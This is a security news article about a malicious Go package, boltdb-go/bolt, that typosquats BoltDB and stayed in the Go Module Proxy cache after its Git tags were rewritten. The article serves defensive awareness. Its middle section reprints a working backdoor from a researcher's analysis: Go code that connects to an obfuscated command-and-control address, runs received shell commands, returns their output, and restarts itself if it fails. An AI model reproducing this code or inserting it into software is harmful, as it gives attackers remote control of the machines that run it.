Typosquatting in the Go ecosystem: Fake BoltDB package discovered
A malicious package in the Go ecosystem imitates BoltDB and contains a backdoor. Attackers used the caching service to spread the malware unnoticed.
(Image: Shutterstock.com/calimedia)
Socket researchers have discovered a malicious typo squatting package in the Go programming language ecosystem that impersonates the BoltDB module. This package contains a backdoor for remote code execution and uses the Go Module Mirror service to remain in the cache. At the same time, the Git tags have been modified to hide the malware from manual checks.
Typo squatting is not a new issue: in recent years, the PyPI and npm package managers have repeatedly been the subject of such incidents, in which malicious code was hidden in packages with similar-sounding names to popular libraries in order to trick users into downloading these malicious packages.
Deception through typo squatting in the Go ecosystem
In the current case, an attacker developed a malicious Go package called boltdb-go/bolt, which looks confusingly similar to the widely used and legitimate BoltDB package. After the malicious package was cached by the Go Module Proxy, the attacker changed the Git tags in the source repository to point to a clean, legitimate version. As a result, the malicious version remained available to developers using the proxy, even if they manually checked the GitHub repository.
A malicious code sample from Socket's blog post uses comments to show how the attacker went about setting up and activating a hidden backdoor in the db.go file:
func ApiInit() {
go func() {
defer func() {
// Persistence mechanism:
// If the function panics (e.g. connection loss),
// restart after 30 seconds
if r := recover(); r != nil {
time.Sleep(30 * time.Second)
ApiInit()
}
}()
for {
d := net.Dialer{Timeout: 10 * time.Second}
// Obfuscated C2 connection:
// Constructs a hidden IP address and port using _r()
conn, err := d.Dial("tcp",
_r(strconv.Itoa(MaxMemSize)
+ strconv.Itoa(MaxIndex) + ":"
+ strconv.Itoa(MaxPort)))
if err != nil {
// Stealth:
// If the connection fails, retry in
// 30 seconds to avoid immediate detection
time.Sleep(30 * time.Second)
continue
}
// Remote command execution loop
// Reads incoming commands and executes them
for {
message, _ := bufio.NewReader(conn).ReadString('\n')
args, err := shellwords.Parse(strings.TrimSuffix(message,
"\n"))
if err != nil {
fmt.Fprintf(conn, "Parse err: %s\n", err)
continue
}
// Execution of arbitrary shell commands
var out []byte
if len(args) == 1 {
out, err = exec.Command(args[0]).Output()
} else {
out, err = exec.Command(args[0], args[1:]...).Output()
}
// Exfiltration:
// Sends the command output or error back
// to the threat actor
if err != nil {
fmt.Fprintf(conn, "%s\n", err)
}
fmt.Fprintf(conn, "%s\n", out)
}
}
}()
}
Go modules immutable
Go modules are designed to be unchangeable once they have been published. This means that all users who download a particular version of a module always receive the same data. The aim is to ensure the integrity and reproducibility of builds by preventing secret changes or overwrites after publication.
Although attackers can exploit immutability to leave malicious code permanently in the cache, this feature is an important security benefit as it increases confidence in the consistency of modules.
Videos by heise
Hidden backdoor and how it works
The malicious boltdb-go/bolt package is equipped with a backdoor that establishes a connection to a remote C2 server. This connection allows attackers to send and execute commands to the infected system, allowing them to take control of the system. The attackers communicate with compromised systems via a central C2 server (command and control server) to send instructions and receive data.
The code uses obfuscation techniques to hide the IP address of the C2 server, making it difficult to detect. The backdoor activates when certain functions in the packet are used. It remains active even if it crashes, as it has an automatic restart function.
Security measures and future challenges
The incident clarifies that the package distribution mechanisms in the Go ecosystem can also be misused for attacks. Developers should therefore be particularly vigilant and thoroughly check the integrity of packages before installing them. According to the blog post, it is particularly important to check dependencies for anomalies and to use advanced security tools that analyze the installed code in detail.
Increased security measures and awareness of potential threats are needed to make the Go module ecosystem more resilient to such attacks.
Further information can be found in the Socket blog post.
(mdo)